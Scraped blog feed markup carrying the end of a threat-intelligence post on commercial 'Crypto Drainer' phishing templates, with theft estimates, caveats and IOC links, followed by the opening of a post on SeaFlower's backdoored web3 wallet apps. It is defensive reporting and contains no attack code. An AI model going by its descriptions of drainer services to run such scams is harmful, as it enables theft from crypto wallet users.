https://substackcdn.com/image/fetch/$s_!p56V!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Here we find vendors selling these Crypto Drainer templates as a full service, with full support in English and French:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dkty!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dkty!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png 424w, https://substackcdn.com/image/fetch/$s_!dkty!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png 848w, https://substackcdn.com/image/fetch/$s_!dkty!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png 1272w, https://substackcdn.com/image/fetch/$s_!dkty!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dkty!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png" width="875" height="879" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/031d46ef-f769-404e-9713-df1c811fdfff_875x879.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:879,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!dkty!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png 424w, https://substackcdn.com/image/fetch/$s_!dkty!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png 848w, https://substackcdn.com/image/fetch/$s_!dkty!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png 1272w, https://substackcdn.com/image/fetch/$s_!dkty!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031d46ef-f769-404e-9713-df1c811fdfff_875x879.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>There&#8217;s a demo on YouTube by the way:</p><p>And an e-commerce link where you can buy these hosted templates with white-glove service:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MnNt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MnNt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png 424w, https://substackcdn.com/image/fetch/$s_!MnNt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png 848w, https://substackcdn.com/image/fetch/$s_!MnNt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png 1272w, https://substackcdn.com/image/fetch/$s_!MnNt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MnNt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png" width="875" height="529" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:529,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!MnNt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png 424w, https://substackcdn.com/image/fetch/$s_!MnNt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png 848w, https://substackcdn.com/image/fetch/$s_!MnNt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png 1272w, https://substackcdn.com/image/fetch/$s_!MnNt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c22d7bf-afcc-4c6e-b872-10a707549cc0_875x529.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now anyone can be an NFT &amp; crypto thief for the low cost of &#8364;1499.99!</p><h3><strong>Impact &amp; Scope</strong></h3><p>So how prevalent and how effective are these Crypto Drainers really? Well it depends, as it&#8217;s up to the attackers to promote these malicious websites effectively, but considering that this is the template we see used the most in these phishing attacks, it&#8217;s safe to say these folks generally do quite well.</p><p>While we have many examples of Crypto Drainer websites that appear to have never robbed a single victim, we also have plenty that have resulted in very lucrative hauls for the perpetrators.</p><p>For example, we can look at the ETH address associated with <code>mint-moonlanders[.]com</code> which as of this writing has produced over $85k in revenue for the attacker in a 10 day span:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!s0Ci!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!s0Ci!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png 424w, https://substackcdn.com/image/fetch/$s_!s0Ci!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png 848w, https://substackcdn.com/image/fetch/$s_!s0Ci!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png 1272w, https://substackcdn.com/image/fetch/$s_!s0Ci!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!s0Ci!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png" width="665" height="318" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:318,&quot;width&quot;:665,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!s0Ci!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png 424w, https://substackcdn.com/image/fetch/$s_!s0Ci!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png 848w, https://substackcdn.com/image/fetch/$s_!s0Ci!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png 1272w, https://substackcdn.com/image/fetch/$s_!s0Ci!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ed20037-2dc9-4730-b01c-07415a8b76a5_665x318.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>While it&#8217;s quite difficult to grasp the full impact of these attacks due to the way stolen ETH and NFT tokens are passed around, we can begin to formulate an educated guess by adding up all the inbound transactions coming into the attackers&#8217; addresses.</p><p>For our analysis, we looked at 227 addresses that we collected over the course of the last few weeks.</p><p>Here&#8217;s what we found:</p><ul><li><p>The average Crypto Drainer sees 33 inbound transactions between ETH &amp; NFTs.</p></li><li><p>Total observable inbound ETH value transferred to these attacker addresses is 695 ETH or approximately $12.5MM at the time of this writing.</p></li><li><p>29.5% of all Crypto Drainers have not claimed a single victim.</p></li></ul><p>And with regards to drained NFTs:</p><ul><li><p>The average Crypto Drainer has stolen 9 NFTs, but the top 10 most prolific drainers are responsible for 69% of all NFT thefts.</p></li><li><p>61% of Crypto Drainer wallets have not had a single inbound NFT transfer.</p></li><li><p>Based on current floor prices, we estimate the value of the stolen NFTs to be 1517 ETH or approximately $27.5MM at the time of this writing.</p></li><li><p>The most commonly stolen NFTs are ENS names, which makes sense given that most folks in the NFT space use ENS.</p></li><li><p>Among the stolen NFTs we have tracked, 8 are Bored Ape Yacht Club NFTs.</p></li></ul><h3><strong>Caveats &amp; Considerations</strong></h3><p>We want to be explicitly clear that due to the large number of IOCs to sort through for this research, our findings in the section above should be treated as estimates.</p><p>Our methodology begins with the detection of this specific template and we parse out the ETH address specified as the payment address by the attacker only at the time of discovery. Because of this, there are a few thoughts worthy of careful consideration:</p><ul><li><p>It&#8217;s possible that the ETH address is a place holder if observed when the template is first deployed.</p></li><li><p>Some attackers rotate the ETH address frequently during the course of their spam campaigns to promote these websites, so our view into any particular drainer&#8217;s success <em>might </em>be partial.</p></li></ul><p>Furthermore, the addresses we have observed have participated in thousands of blockchain transactions, which required us to develop automation to parse out the data to calculate our estimates. Due to the broad scope, it&#8217;s impossible to reconcile all of these transactions manually and in some cases transactions that are unrelated to theft might have been a part of the mix. While it&#8217;s unlikely that most seasoned criminals will use the same address for personal transactions and for collecting the proceeds of a Crypto Drainer, we have observed that some of the perpetrators do exactly that. However, we are not able to explicitly exclude this type of activity.</p><p>Finally, seeing as this template is largely open source, we can&#8217;t in good faith suggest that all of these instances were deployed by the actor behind the Crypto Drainer marketplace that we mentioned above.</p><h3><strong>Appendix A &#8212; Malicious Domains</strong></h3><p><a href="https://gist.github.com/eliyastein/5511d3a03d7f69d5fd7fa0a867a690bc#file-drainer-iocs-txt">https://gist.github.com/eliyastein/5511d3a03d7f69d5fd7fa0a867a690bc#file-drainer-iocs-txt</a></p><h3><strong>Appendix B &#8212; Ethereum Addresses</strong></h3><p><a href="https://gist.github.com/eliyastein/7b574b6c6f7aa87dd4a0282dff7b295b#file-drainer-eth-addresses-txt">https://gist.github.com/eliyastein/7b574b6c6f7aa87dd4a0282dff7b295b#file-drainer-eth-addresses-txt</a></p>]]></content:encoded></item><item><title><![CDATA[How SeaFlower 藏海花 installs backdoors in iOS/Android web3 wallets to steal your seed phrase]]></title><description><![CDATA[Originally written by Taha Karim]]></description><link>https://blog.confiant.com/p/how-seaflower-installs-backdoors</link><guid isPermaLink="false">https://blog.confiant.com/p/how-seaflower-installs-backdoors</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Sun, 12 Jun 2022 20:02:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!fHNs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Originally written by <strong>Taha Karim</strong></em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fHNs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fHNs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fHNs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fHNs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fHNs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fHNs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg" width="1000" height="667" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:667,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fHNs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fHNs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fHNs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fHNs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69bf89b0-6dae-4b8a-bae6-74b90849e293_1000x667.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Originally written by <strong>Taha Karim</strong></em></p><p>During the course of our work at <a href="https://www.confiant.com/">Confiant</a>, we see malicious activity on a daily basis. What matters the most for us is the ability to:</p><ul><li><p>Protect our existing customers.</p></li><li><p>Share unique threat intelligence.</p></li><li><p>Keep finding unique vantage points for better detection.</p></li></ul><p>At Confiant we monitor 2.5+ billion ads per day thanks to our 110+ integrations in the advertising stack allowing us to protect 40K premium websites from bad ads.</p><p>That itself gives us great visibility on malicious activity infiltrating the ad stack and the broader Internet, powered by our proprietary uncloaking technology. And that includes all the web3 malicious activity funneling through it.</p><p>The variety and the range of our detection enable us to detect unique malicious activity as soon as it surfaces. SeaFlower is an example of this unique cluster of malicious activities targeting web3 wallet users that we will document in this blog post.</p><h3>What is SeaFlower?</h3><p>SeaFlower is a cluster of activity that we identified earlier this year in March 2022. We believe SeaFlower is the most technically sophisticated threat targeting web3 users, right after the infamous Lazarus Group.</p><p>The cluster of activity named &#8220;SeaFlower&#8221; was chosen for a reason. One of the injected .dylib files in the original Mach-O of the metamask app, contained the full path to xcode derived data, that leaked a macOS username: &#8220;Zhang Haike&#8221;:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CVhR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CVhR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png 424w, https://substackcdn.com/image/fetch/$s_!CVhR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png 848w, https://substackcdn.com/image/fetch/$s_!CVhR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png 1272w, https://substackcdn.com/image/fetch/$s_!CVhR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CVhR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png" width="1000" height="92" 